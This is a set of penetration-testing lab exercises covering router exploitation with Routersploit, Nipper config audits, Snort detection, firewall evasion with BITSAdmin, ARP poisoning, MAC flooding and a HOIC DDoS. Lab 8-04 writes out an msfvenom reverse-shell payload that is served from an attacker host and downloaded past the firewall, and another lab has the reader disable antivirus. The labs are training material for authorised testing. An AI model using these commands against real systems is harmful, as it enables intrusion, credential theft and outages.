## Lab 8-01: Router Penetration Testing Using Routersploit

**Scenario**

Assume you are a cybersecurity consultant hired by a large corporation to assess their network security thoroughly. As part of your assessment, you have been tasked with testing the vulnerability of their routers to potential cyberattacks. Routers are crucial components of any network infrastructure, serving as gateways to the internet and facilitating communication between devices within the network. Any compromise of these routers could lead to unauthorized access, data breaches, and potentially severe consequences for the company.

**Solution**

To conduct router penetration testing for a company, gather information about the routers in use, including make, model, firmware versions, and associated vulnerabilities. Install Routersploit using pip, ensuring familiarity with its functionalities. Utilize Routersploit for network scanning to identify active routers and vulnerabilities. Exploit known vulnerabilities to gain unauthorized access, followed by a post-exploitation assessment to determine the extent of the compromise. Document findings comprehensively, providing actionable recommendations to a company's IT team for vulnerability mitigation and router security enhancement. Ensure periodic retests and stay updated on new vulnerabilities and Routersploit updates for continual improvement in testing methodology.

|  |
| --- |
| 1. Open your terminal in Kali Linux and install Routersploit. Use **sudo apt install routersploit.**    2. Now, type routersploit to run the installation package.    3. Now use the following command: **use scanners/autopwn. T**his will scan all the ports.    4. Now you need to set the module for pentesting. To use that, you need to search for the appropriate module. These are all modules for exploits and attacks you can use on anyone.    5. You can use this module by using **use cred/routers/tplink/ssh\_defaujlt\_creds**and then press **Enter**.    6. Now, if you want, you can use the show options command to see the options.  7. Now set the target IP by using **set target ip\_address**and press **Enter**.    8. Now, you can run the exploit by using the **run** command. You will find the SSH password and username. |

## Lab 8-02: Router Penetration Testing/Auditing Using Nipper Tool

**Scenario**

Assume a medium-sized company heavily relies on a router for its network infrastructure. Concerned about the evolving threat landscape, the company opts to conduct a comprehensive router penetration test to uncover and mitigate potential security vulnerabilities, ensuring the integrity of its network infrastructure against cyber threats.

**Solution**

The company uses Nipper, a specialized tool for auditing network devices, to conduct an exhaustive security assessment. With meticulous planning, the team defines the penetration test's scope, obtains stakeholder permissions, and schedules testing to minimize operational disruption. Nipper performs passive reconnaissance by analyzing the router configuration file and extracting crucial information such as firmware versions, enabled services, open ports, access control lists, and authentication settings. It then evaluates the configuration against industry best practices and security standards to identify misconfigurations, weak settings, and known vulnerabilities. The findings are used to model realistic attack scenarios and prioritize risks by likely impact and exploitability. Nipper produces detailed reports that explain each issue, its potential consequences, and concrete remediation steps. Using those recommendations, the company patches vulnerable software, hardens configurations, tightens access controls, and implements logging and alerting. Finally, a process for continuous monitoring and periodic re-assessment is established to maintain and improve the router’s security posture against emerging threats.

**Note:** This lab is only for educational purposes; do not do this without someone's permission.

|  |
| --- |
| 1. Open your Kali Linux terminal and install the **nipper tool** using **sudo apt install nipper.**    2. Once you install it, download the target, which is your router configuration. You can download the configuration from your default router IP address.   * Access the router interface by entering its IP address into a web browser * Log in using the router's username and password * Navigate to the configuration or settings section of the router's interface * Look for an option related to backing up or saving the configuration * Click on the backup or save configuration option * Choose a location on your computer to save the configuration file * Save the configuration file to the chosen location * Verify that the configuration file has been successfully downloaded * If needed, refer to the user manual or contact customer support for assistance * Ensure you have the necessary permissions to access and download the router's configuration   3. After downloading the config file, go back to the terminal and use the command **nipper --ios-router --input=pathwherefileis/nameofthefile.cfg --output=pathwhereyouwanttostore/filename.html***.*    4. Now, you see the HTML format file in your selected destination.    5. This HTML file is where you can see all the security audits regarding your router. |

**Lab 8-03: Detect Intrusions using Snort**

**Scenario**

MarvelTech, a mid-sized e-commerce company, has been facing increasing concerns about its network infrastructure security following a rise in Distributed Denial-of-Service (DDoS) attacks targeting similar organizations in the industry. The company’s IT security team has implemented various defensive measures, including firewalls, Intrusion Detection Systems (IDS), and periodic vulnerability assessments. Despite these efforts, the sheer volume of network traffic and the sophistication of modern attack techniques have made detecting and mitigating malicious activities challenging.

**Solution**

As a Certified Penetration Tester for MarvelTech, your objective is to detect and analyze potential intrusions within the network using Snort. This open-source network intrusion detection system can analyze traffic in real-time and log packets over IP networks. It can do protocol analysis and content searching/matching to identify various attacks and probes, including buffer overflows, stealth port scans, CGI attacks, SMB probes, and OS fingerprinting actions. It utilizes a configurable rules language to specify traffic to gather or pass and a detection engine with a modular plug-in architecture.

Uses of Snort:

* Straight packet sniffer, such as tcpdump
* Packet logger (useful for network traffic debugging, etc.)
* Network intrusion prevention system

**Note:** We use two virtual machines in this lab, **Windows 10** and **Windows Server 2022**. The Windows 10 virtual machine IP address is **192.168.56.108**. The Windows Server 2022 virtual machine IP address is **192.168.56.106**. Do not use these lab IP addresses. Use your virtual machine IP address at the time when you are performing this lab.

**Note:** Use the following link: **https://drive.google.com/drive/folders/18NxBb3xpQ3GZ9-MXiw33S82FlX9Vglhn?usp=drive\_link** to download all the files used to perform this lab.

**Note:** In this lab, we use **Notepad++** as a code editor. Use the following link: [**https://notepad-plus-plus.org/downloads/**](https://notepad-plus-plus.org/downloads/) to download Notepad++.

|  |
| --- |
| 1. Turn on the **Windows 10** and **Windows Server 2022** virtual machines. Switch to the **Windows 10** virtual machine. Go to the **Downloads** folder and double-click on the **WinPcap\_4\_1\_3.exe** file to start the installation process.    2. The WinPcap setup wizard window appears. Click on the **Next >** button.    3. The license agreement window appears. Click on the **I Agree** button.    4. Click on the **Automatically start the WinPcap driver at boot time** checkbox. Then click on the **Install** button.    5. Click on the **Finish** button to finish the installation process of WinPcap.    6. Then go inside **Downloads>Snort** and double-click on the **Snort\_2\_9\_15\_Installer.exe** file to install Snort.    7. The license agreement window appears. Click on the **I Agree** button.    8. Leave all settings as default and click on the **Next >** button.    9. Leave the destination folder as default and click on the **Next >** button.    10. After the installation of Snort is completed, click on the **Close** button.    11. A window appears that **Snort has successfully been installed**. Click on the **OK** button.    12. Go inside **Downloads>Snort>snortrules-snapshot-29150>etc** folder. Copy the **snort.conf** file.    13. Navigate inside the **C:\Snort\etc** folder. Then paste the **snort.conf** file here. A window appears **Replace or Skip** files. Click on the **Replaced the file in the destination**.      14. Go inside **Downloads>Snort>snortrules-snapshot-29150** folder. Copy **preproc\_rules**, **rules,** and **so\_rules** folders.    15. Navigate inside **C:\Snort** folder and paste all these **preproc\_rules**, **rules** and **so\_rules** folders here. Click on the **Replaced the file in the destination**.      16. After that, right-click on the **Windows Start** icon and click on the **Run** from the menu.    17. The **Run** window appears; enter **cmd** in the **Open** field and click the **OK** button to open the command prompt window.    18. The **Command Prompt** window appears; execute the following command: **cd C:\Snort\bin** to access the **bin** folder in the command prompt. Then, execute the **snort** command to initiate snort.  19. Snort initializes; wait for it to complete. Press **Ctrl+C** after some time; Snort exits and comes back to **C:\Snort\bin**.    20. Execute **snort -W** command to list your machine’s physical address, IP address, and Ethernet Drivers, but all are disabled by default.  21. Observe your **Ethernet Driver** index number and write it down in this lab; for this lab, it is **1**.    22. To enable the **Ethernet Driver**, execute the **snort -dev -i 1** command in the command prompt.  23. You see a rapid scroll text in the command prompt, meaning the **Ethernet Driver** is enabled and working properly.  24. Leave the Snort command prompt window open and launch another command prompt window.    25. In a new command prompt, execute the **ping <Any Website domain>** command.    26. This ping command triggers a Snort alert with rapid scrolling text in the Snort command prompt. The result might differ when you perform this lab.  25. Close both command prompt windows. The verification of Snort installation and the triggering alert is complete, and Snort works correctly in verbose mode.    27. Configure **snort.conf** file, located at **C:\Snort\etc**.  28. Open the **snort.conf** file with **Notepad++**.  29. Scroll down to **Step #1: Set the network variables section** at **Line 41** of the **snort.conf** file. In the **HOME\_NET** line al **Line 45**, replace **any** with the **IP address** of the virtual machine Snort is running. Here, the target machine is a Windows 10 virtual machine, and the IP address is **192.168.56.108**.    30. Scroll down to **RULE\_PATH** at **Line 104**. In **Line 104**, replace **../rules** with **C:\Snort\rules** at **Line 105**, replace **../so\_rules** with **C:\Snort\so\_rules;** and in **Line 106**, replace **../preproc\_rules** with **C:\Snort\preproc\_rules**.    31. In **Lines 109** and **110**, replace **../rules** with **C:\Snort\rules**. Minimize the **Notepad++** window.    32. Navigate inside the **C:\Snort\rules** folder and create two rule files; name them **white\_list** and **black\_list**. To create a rule file, open the new command prompt window to open a new command prompt, as mentioned in steps **16-17**. In the command prompt window, execute the following command: **cd C:\Snort\rules**.  33. Execute the following command: **echo. > white\_list.rule** to create white\_list rule file**.**  34. Execute the following command: **echo. > black\_list.rule** to create black\_list rule file**.**    35. Execute the following command: **dir | findstr "\_list"** to verify that **white\_list** and **back\_list** rule files are created**.**    36. Switch to **Notepad++** and scroll down to **Step #4: Configure dynamic loaded libraries** section at **Line 238**. Configure dynamic loaded libraries in this section.  37. Add the path to dynamic preprocessor libraries at **Line 243**; replace **/usr/local/lib/snort\_dynamicpreprocessor/** with your dynamic preprocessor libraries folder location.  38. The dynamic preprocessor libraries are situated at **C:\Snort\lib\snort\_dynamicpreprocessor** in this lab.  39. Line 246 of the base preprocessor (or dynamic) engine path should be replaced with **/usr/local/lib/snort\_dynamicengine/libsf\_engine.so** use your basic preprocessing engine, **C:\Snort\lib\snort\_dynamicengine\sf\_engine.dll**.  40. Ensure that the dynamic rules libraries at **Line 249** is commented out, as you have already configured the libraries in dynamic preprocessor libraries.    41. Scroll down to **Step #5: Configure preprocessors** section at **Line 253**, the listed preprocessor. This does nothing in IDS mode but generates errors at runtime.  42. Comment out all preprocessors described in this section by putting **#** before each preprocessor rule on **Lines 261-265**.    43. Scroll down to **Line 321** and delete the **lzma** keyword and a **space**.    44. Make sure you only delete the **lzma** keyword.    45. Scroll down to **Line 513**, which is **Step 6: Configure output plugins**. In this step, specify the locations of the **classification.config** and **reference.config** files.  46. These two files are in **C:\Snort\etc**. Provide the location of files in the configure output plugins in **Lines 527** and **528** (i.e., **C:\Snort\etc\classification.config** and **C:\Snort\etc\reference.config**).  47. In **Step #6**, add this **output alert\_fast: alerts.ids:** at **Line 529. T**his command orders Snort to dump all logs into the **alerts.ids** file.    48. In the **snort.conf** file, find and replace the **ipvar** string with **var**. To accomplish this, press **Ctrl+H** on your keyboard. The **Replace** window appears; enter **ipvar** in the **Find what** text field, enter **var** in the **Replace with** text field, and click **Replace All**. A pop-up appears that **11** occurrences were replaced.  49. By default, the string is **ipvar**, which Snort does not recognize. Change with the **var** string, and then **close** the window.    50. Before closing the **Notepad++** window, save the **snort.conf** file by pressing **Ctrl+S.**  51. Before running Snort, you must enable detection rules in the Snort rules file. We have activated the ICMP rule for this experiment so Snort can detect any host discovery ping probes sent to the Snort running system.  52. Go inside **C:\Snort\rules** and open the **icmp-info.rules** file with **Notepad++**.    53. In **Line 21**, enter the following rule: **alert icmp $EXTERNAL\_NET any -> $HOME\_NET 192.168.56.108 (msg:"ICMP-INFO PING"; icode:0; itype:8; reference:arachnids,135; reference:cve,1999-0265; classtype:bad-unknown; sid:472; rev:7;)** and save it by pressing **Ctrl+S**. Close the Notepad++ window. Add your virtual machine IP address in **$HOME\_NET** when you perform this lab.    54. Open the new command prompt window to open a new command prompt as mentioned in steps **16-17**. In the command prompt window, execute the following command: **cd C:\Snort\bin**.  55. Then execute the following command: **snort -iX -A console -c C:\Snort\etc\snort.conf -l C:\Snort\log -K ascii** to start Snort. Change **X** with your device index number; in this lab, **X** is **1**.    56. If you receive a **fatal error**, first **ensure** that you have successfully entered all modifications into **snort.conf** file, and then scan the file for items that match the fatal error message.  57. If you receive the message **Could not create the registry key.** Then open the command prompt as **Administrator**.  58. Snort starts running in IDS mode. It initializes output plug-ins, preprocessors, and plug-ins, loads dynamic preprocessor libraries, rule chains of Snort, and logs all signatures.  59. If you have added all command details precisely, you get a comment stating that **Commencing packet processing (pid=xxxx),** the value of **xxxx** may be any number; in this lab, it is **2780**, as shown in the screenshot below.    60. After initializing the interface and logged signatures, Snort starts and waits for an attack, and triggers alerts when attacks occur on the machine. Leave the Snort command prompt running. Attack your machine, and check whether Snort detects it or not.  61. Switch to the **Windows Server 2022** virtual machine and open the command prompt. The instructions for opening the command prompt are mentioned in **steps 16-17**. After the command prompt is opened, execute the following command: **ping 192.168.56.108 -t**. Use your virtual machine IP address when you perform this lab.    62. Switch back to the **Windows 10** virtual machine. Observe that Snort triggers an alarm.  63. Press **Ctrl+C** to stop Snort; snort exits.    64. Go to inside **C:\Snort\log\192.168.56.106** folder and open the **ICMP\_ECHO.ids** file with **Notepad++**.    65. All the log entries are saved in the **ICMP\_ECHO.ids** file. The folder name **192.168.56.106** might vary when you perform the lab, depending on the IP address of the **Windows 10** virtual machine.    66. This means that whenever an attacker attempts to connect or communicate with the Windows 10 virtual machine, Snort immediately triggers an alarm. This will alert you to the intrusion, allowing you to take appropriate security measures to cut off the connection with the attacker's workstation. |

**Lab 8-04 Evade Firewall through Windows BITSAdmin**

**Scenario**

A government institution experienced a cyber-attack on several PCs. Their system administrator is unaware of the cause of the Windows firewall failure and how hackers managed to bypass the firewall’s rules. System administrators play a crucial role in creating security defenses within an organization. Though such defenses protect the machines in the network from outside hackers, there might still be an insider who would apply different evasion techniques to identify the services running on the target. Hence, the company wants to identify the vulnerabilities exploited by the hackers.

**Solution**

The government institution hires you as a Certified Penetration Tester because they want you to ethically hack their system and find the vulnerabilities in their PCs. Hackers bypassed the Windows firewall using malicious traffic. You find the vulnerability in the firewall; the company’s system administrator had not configured the firewall correctly. Hence, the hacker exploited the vulnerabilities and compromised the company’s various PCs. In this lab, we use BITSAdmin to bypass the Windows firewall and transfer the malicious file into the system.

For Windows XP and later versions of the Windows operating system to function, BITS (Background Intelligent Transfer Service) is a crucial component. System administrators and programmers use BITS to download files from or upload files to SNB file shares and HTTP web servers. A tool for creating, downloading, or uploading jobs and tracking their progress is BITSAdmin.

|  |
| --- |
| 1. On the **Windows 10** machine, open the **Control Panel**. Click **System and Security**. In the **System and Security** window, select **Windows Defender Firewall**.    2. The **Windows Defender Firewall** control panel opens; click the **Turn Windows Defender Firewall on or off** link in the left pane.    3. The **Customize Settings** window opens. Select **Turn on Windows Defender Firewall** under **Private network settings** and **Public network settings**. Click **OK**.    4. Open the **MATE** terminal on **ParrotOS**. Execute the following command to create the payload **msfvenom –p windows/meterpreter/reverse\_tcp lhost=192.168.10.4 lport=444 –f exe > /home/attacker/Exploit.exe**    5. Now, create a directory to share this file with the target machine, provide the permissions, and copy the file from **/home/attacker** to the shared location using the below-provided commands:   * Execute the command **mkdir /var/www/html/share** to create a shared folder * Execute the command **chmod –R 755 /var/www/html/share** * Execute the command **chown –R www-data:www-data /var/www/html/share** * Copy the malicious file to the shared location by executing **cp /home/attacker/Exploite.exe /var/www/html/share**     6. Start the Apache service by executing the command **service apache2 start**.    7. Switch to a **Windows 10** machine and open PowerShell. Execute the command **bitsadmin /transfer Exploite.exe http://192.168.10.4/share/Exploit.exe c:\Exploit.exe**.    8. **BITSAdmin** transfers the file.    9. Open **File Explorer** and navigate to the **C:** drive; you can see that the malicious file is successfully transferred. After transferring the malicious file, the attacker can use this malicious file to gain access, escalate privileges, and perform various malicious activities. It concludes the demonstration of bypassing the firewall through Windows BITSAdmin. |

**Lab 8-05: Detect ARP Poisoning and Promiscuous Mode in a Switch-Based Network**

**Scenario**

You are an ethical hacker hired by a corporation to assess the security of their switch-based network. The company has experienced incidents of sensitive data leakage, raising concerns about potential ARP poisoning attacks and devices operating in promiscuous mode. These attacks could allow unauthorized interception of network traffic, leading to compromised login credentials and confidential information. The corporation wants you to identify these vulnerabilities and propose a robust solution to secure their network against such threats.

**Solution**

To address the issue, you used **Cain and Abel** to simulate an ARP poisoning attack. This allowed you to redirect network traffic through your machine, demonstrating how attackers could intercept sensitive data. Additionally, you tested for promiscuous mode by injecting specific packets into the network, identifying devices that captured traffic not intended for them. ARP poisoning is achieved by manipulating the ARP table entries of target devices, effectively creating a Man-In-The-Middle (MITM) attack.

The investigation revealed the network’s susceptibility to these attacks. As a solution, dynamic ARP inspection (DAI) was recommended to validate ARP packets and block fraudulent ones. Furthermore, enabling port security and conducting regular network audits are advised to detect and prevent devices operating in promiscuous mode, strengthening the overall security posture of the network.

|  |
| --- |
| 1. Open the browser in **Windows 7**. Copy and paste the following link **https://www.winpcap.org/install/default.htm** to download WinPcap.    2. After downloading the WinPcap 4.1.3 setup file, click the **WinPcap\_4\_1\_3.exe** file to start the installation.    3. Click on the **Yes** button.    4. Click on the **Next** button.    5. Click on the **I Agree** button.    6. Click on the **Install** button.    7. Click on the **Finish** button.    8. The first step is to disable anti-virus protection on your computer, as the **Cain & Able** tool can be considered a virus by your PC. Go to the search tab, write **Virus and threat protection,** and select **Open**. Scroll down to **Virus & threat protection settings** and turn off **Real-time protection, Cloud-delivered protection**, and **Automatic sample submission**.    9. Copy and paste the following link in the browser **<https://web.archive.org/web/20160214132154/http://www.oxid.it/cain.html>** to download the Cain & Abel software. Click on the **Download Cain & Abel v4.9.56 for Windows NT/2000/XP** link to download the Cain & Abel installation file.    10. Click on the **ca\_setup.exe** file.    11. Click on the **Yes** button.    12. Click on the **Next >** button.    13. Click on the **Next >** button.    14. Click on the **Next >** button.    15. Click on the **Next** button.    16. Click on the **Next >** button.    17. Click on the **Finish** button.    18. Click on the **Don’t install** button because WinPcap has already been installed.    19. After successful installation, open the Cain & Able software.    20. Click on **Configure** from the menu bar to configure an Ethernet card.    21. The **Configuration Dialog** window appears. By default, the **Sniffer** tab is selected. Ensure that the **Adapter** associated with the **machine’s IP address** is selected; then click **OK**.    22. Click the **Start/Stop Sniffer** icon on the toolbar to begin sniffing.    23. A **Cain** pop-up appears and shows a **Warning** message; click **OK**.    24. Now, click the **Sniffer** tab.    25. Click the plus **(+)** icon or right-click in the window and select **Scan MAC Addresses** to scan the network for hosts.    26. The **MAC Address Scanner** window appears. Check the **All hosts in my subnet** radio button and select the **All Tests** checkbox; then, click **OK**.    27. Cain & Abel start scanning for MAC addresses and list all those found. After the scan, a list of all active IP addresses and their corresponding MAC addresses is displayed.    28. Now, click on the **ARP** tab at the bottom of the window.    29. ARP options appear in the left-hand pane. Click anywhere on the topmost section in the right-hand pane to activate the **(+)** icon. Click the **(+)** icon, and a **New ARP Poison Routing** window appears, from which we can add IPs to listen to traffic.    30. To monitor the traffic between the two systems, select the **Windows 10** IP address from the left-hand pane, select the **Parrot OS** IP address from the right-hand pane, and then click **OK**.    31. Click to select the created target IP address scan displayed in the **Configuration/Routes packets** tab.    32. Click the **Start/Stop ARP** icon to capture ARP packets. The **Status** will change from **Idle** to **Poisoning**.    33. Open the MATE terminal on Parrot OS. Execute the command **hping3 [Target IP Address] –c 100000**, **-c** specifies the packet count. This command will start pinging the target machine with 100,000 packets.    34. Leave the command running and immediately switch to the **Windows 7** machine. Open the **Wireshark** software.    35. The **Wireshark Network Analyzer** window appears; click **Edit** in the menu bar and select **Preferences**.    36. Open the **Protocols** node by expanding it in the **Preferences** window.    37. Scroll down in the Protocols node and select the **ARP/RARP** option. From the right-hand pane, click the **Detect ARP request storms** checkbox and ensure the **Detect duplicate IP address configuration** checkbox is checked; click **OK**.    38. Now, double-click on the adapter associated with your network to start capturing the network packets.    39. **Wireshark** begins to capture the traffic between the two machines.    40. Switch to the **Cain & Abel** window to observe the packets flowing between the two machines.    41. Now, switch to **Wireshark** and click the **Stop packet capturing** icon to stop the packet capturing.    42. Click **Analyze** from the menu bar and select **Expert information** from the drop-down options.    43. The **Wireshark** **Expert Information** window appears; click to expand the **Warning** node labeled **Duplicate IP address configured**, running on **ARP/RARP** protocol.    44. Arrange the **Wireshark**. **Expert Information** window above the **Wireshark** window, hence that you can view the packet number and the **Packet details** section in **Wireshark**. **Expert Information** window, click any packet.    45. On selecting the packet number, **Wireshark** highlights the packet, and its associated information is displayed under the packet details section. Close **Wireshark**. **Expert Information** window. The warnings highlighted in yellow indicate that duplicate IP addresses have been detected at one MAC address. It completes the illustration of ARP poisoning detection in a switch-based network.    46. Now, switch to **Windows 10**. Open **Nmap – Zenmap GUI** software.    47. The **Zenmap** window appears. In the **Command** field, type the command **nmap --script=sniffer-detect [Target IP Address]** and click **Scan**.    48. The scan results appear, displaying **Likely in promiscuous mode** under the **Host script results** section. It indicates that the target system is in promiscuous mode. |

**Lab 8-06: Perform MAC Flooding using macof**

**Scenario**

The network of a private investment bank got hacked. The company had deployed a new network infrastructure in its IT department. The Network Administrator is unsure about the vulnerability that the hacker exploited to infiltrate the network. The company wants cybersecurity specialists to conduct a thorough forensic investigation to prevent future security breaches.

**Solution**

The company hires you as a Certified Penetration Tester because they want you to ethically hack their system and find the vulnerabilities in their network. You perform the MAC flooding technique to find the vulnerability on the network. The security of network switches that link network segments or network devices can be compromised via the practice known as MAC flooding. Attackers use the MAC flooding approach to compel a switch to function as a hub. Hence, they can easily sniff the traffic. In this lab, we use the macof tool to perform MAC flooding.

The dsniff collection includes the macof, a Unix and Linux utility. It floods the local network with random MAC addresses and IP addresses, causing some switches to fail and open in repeating mode, thereby facilitating sniffing. By transmitting fraudulent MAC entries, this tool floods the switch’s CAM tables (131,000 per minute). When the MAC table fills up, the switch converts to a hub-like operation, where an attacker can monitor the broadcast data.

|  |
| --- |
| 1. Open Parrot OS, click on **Applications** in the top-left corner of the **Desktop,** and navigate to **Pentesting**. Click on **Information Gathering**. Then click on **Wireshark** to open it.    2. A security pop-up appears; enter your password and click the **Authenticate** button.    3. The **Wireshark Network Analyzer** window appears; double-click the available Ethernet or interface to start the packet capture. Leave the **Wireshark** application running.    4. Open the MATE terminal on the Parrot OS. Execute the command **macof -i enp0s3 -n 10.** The **–i** specifies the interface, and **–n** specifies the number of packets to be sent. You can also target a single system by issuing the command **macof -i enp0s3 -d [Target IP Address]**. The **–d** specifies the destination IP address. This command will start flooding the CAM table with random MAC addresses.    5. Go to the **Wireshark** application and observe the **IPv4** packets from random IP addresses.    6. Click on any captured IPv4 packet and expand the **Ethernet II** node in the packet details section. Information regarding the source and destination MAC address is displayed.    7. Similarly, you can switch to a different machine to see the duplicate packets Wireshark captured in the Parrot OS. All active machines in the local network receive packets with random MAC and IP addresses from Macof. You will observe the duplicate packets on all target machines using multiple targets. Close the **Wireshark** window. If an **Unsaved packets** pop-up appears, click **Stop and Quit without Saving** to close the Wireshark application. This concludes the demonstration of how to perform MAC flooding using macof. |

**Lab 8-07: Perform a DDoS Attack using HOIC**

**Scenario**

As a penetration tester, perform a DDoS attack to assess a target organization’s ability to withstand a distributed denial-of-service (DDoS) attack. A DDoS attack is a type of attack in which multiple compromised systems, often infected with malware, target a single system, overwhelming it with traffic and causing it to become unavailable to its intended users.

**Solution**

A DDoS attack using **HOIC** **(High Orbit Ion Cannon)** can help to identify potential vulnerabilities in the target organization’s infrastructure. Using HOIC to simulate a DDoS attack, the penetration tester can evaluate the target organization’s ability to detect, mitigate, and recover from such an attack. It can include analyzing the effectiveness of the target’s intrusion prevention systems (IPS), intrusion detection systems (IDS), and firewall configurations.

|  |
| --- |
| 1. Go to the target machine and open Wireshark. Select a network interface to analyze the flooding packets you will send to this target machine in the upcoming steps.    2. Download and install the **HOIC (High Orbit Ion Cannon)** software from the following website link.  <https://sourceforge.net/projects/highorbitioncannon/>  Click the + button below the **TARGETS** section to add the target.    3. The **H.O.I.C – [Target]** window appears; enter the target IP address. Slide the **Power** bar to **High** and select the **GenericBoost.hoic** option from the drop-down menu. Click the **Add** button.    4. Click the **>** button to set the thread’s value.    5. Click the **FIRE TEH LAZER!** button to start the DDoS attack.  **Note:** Follow the same procedure to set up HOIC software on multiple machines; hence, you can use all of them to perform a Distributed Denial-of-Service attack.    6. Go to the target machine and see the flooding packets. You can also observe the speed of the target system, which should be relatively slow now.    7. Click the **FIRE TEH LAZER!** button to stop flooding. |